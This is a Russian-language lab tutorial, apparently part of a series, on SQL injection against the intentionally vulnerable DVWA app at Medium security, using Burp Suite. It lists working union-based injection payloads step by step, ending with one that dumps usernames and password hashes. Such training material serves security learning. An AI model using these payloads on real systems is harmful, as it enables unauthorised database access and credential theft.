DVWA, SQL-Injection, Уязвимости

#15 Уязвимость DVWA. SQL-Injection (Уровень Medium).

Здравствуйте, дорогие друзья. Продолжаем рассматривать тематику уязвимостей DVWA, и в данном уроке поговорим о SQL-инъекциях на среднем уровне настроек безопасности.

Переходим к практике, и перейдем в уязвимое веб-приложение DVWA.

Нам необходимо выставить настройки безопасности на «Medium»:

настройки безопасности dvwa medium

Далее переходим на вкладку «SQL Injection». Данная страница представляет собой кнопку выбора id, и «submit» для вывода информации:

вкладка sql injection

Нам нужно перехватывать трафик с данной страницы, с помощью инструмента Burp Suite.

Для начала нужно сконнектить BurpSuite с браузером Mozilla Firefox.

Первым шагом мы идем в браузер на верхний правый угол (бургер), и выбираем вкладку «Preferences»:

настройки mozilla firefox preferences

Скроллим появившуюся страницу в самый низ, и выбираем «Settings», далее жмем на радиокнопку «Manual Proxy Configuration», и выставляем интерфейс как: 127.0.0.1 и порт 8001:

manual proxy configuration

Отлично. Мы настроили браузер для коннекта с BurpSuite. Запускаем данный инструмент и переходим на вкладку выбора интерфейса. Это путь по вкладкам «Proxy», «Options»:

выставляем интерфейс в burpsuite

Теперь переходим на вкладку «Intercept» для перехвата трафика:

intercept burpsuite

Отправим запрос в «Repeater» для тестирования на предмет уязвимости. Вставим для начала одинарную кавычку и получаем ошибку синтаксиса:

отправляем запрос в repeater

Вставим такую команду: «1 and 1=1%23»:

1 and 1=1%23

Видим вывод кода. Можем также наглядно просмотреть, что происходит на странице с помощью вкладки «Renderer»:

вкладка renderer

Экспериментируем, и вставим в команде цифру 2. Получим:

вставляем в команде цифру 2

В итоге ничего не выводится:

ничего не выводится на странице

Продолжим исследовать уязвимость, и введем такую команду: «1 order by 10%23»:

1 order by 10%23

Получаем вывод того, что данная колонка не известна приложению.

А если запустим команду со значением «2», то видим корректный вывод:

запускаем команду со значением "2"

Попробуем ввести другую запись. Такую как: «1 union select 1,2%23»:

1 union select 1,2%23

Уже что-то есть. Пробуем дальше, и попытаемся вывести имя базы данных и ее версию, с помощью команды: «1 union select database(), version()%23»:

1 union select database(), version()%23

Все отлично отработало. Мы знаем больше информации о базе данных.

Теперь введем довольно длинную команду, которая включает в себя hex-значение ключевого слова «users». Перейдем в декодер и скопируем данное значение:

hex-значение слова users

Команда будет выглядеть как: «id=1 union select column_name,2 from information_schema.columns where table_name = 0x7573657273%23»:

id=1 union select column_name,2 from information_schema.columns where table_name = 0x7573657273%23
вывод команды id=1 union select column_name,2 from information_schema.columns where table_name = 0x7573657273%23

Теперь давайте попробуем вывести пароли пользователей на данном сайте. Это можно реализовать с помощью команды: «id=1 union select user,password from users%23»:

id=1 union select user,password from users%23

В итоге мы получили вывод хэшей паролей и имена пользователей.

#1 Уязвимость DVWA. SQL-Injection (уровень Low).

#2 Уязвимость DVWA. Brute Force (Уровень Low).

#3 Уязвимость DVWA — File Upload (Уровень Low).

#4 Уязвимость DVWA. File Upload (Уровень Medium).

#5 Уязвимость DVWA File Upload (Уровень High).

#6 Уязвимость DVWA. Brute Force (Уровень Medium).

#7 Уязвимость DVWA. Command Execution (Уровень Low).

#8 Уязвимость DVWA. Command Execution (Уровень Medium).

#9 Уязвимость DVWA. CSRF (Уровень Low).

#10 Уязвимость DVWA. CSRF (Уровень Medium).

#11. Уязвимость DVWA — (Local File Inclusion). Уровень Low.

#12 Уязвимость DVWA. LFI (Local File Inclution) — Уровень Medium.

#13 Уязвимость DVWA LFI — Local File Inclusion (Уровень High).

#14 Уязвимость DVWA. Command Execution (Уровень High).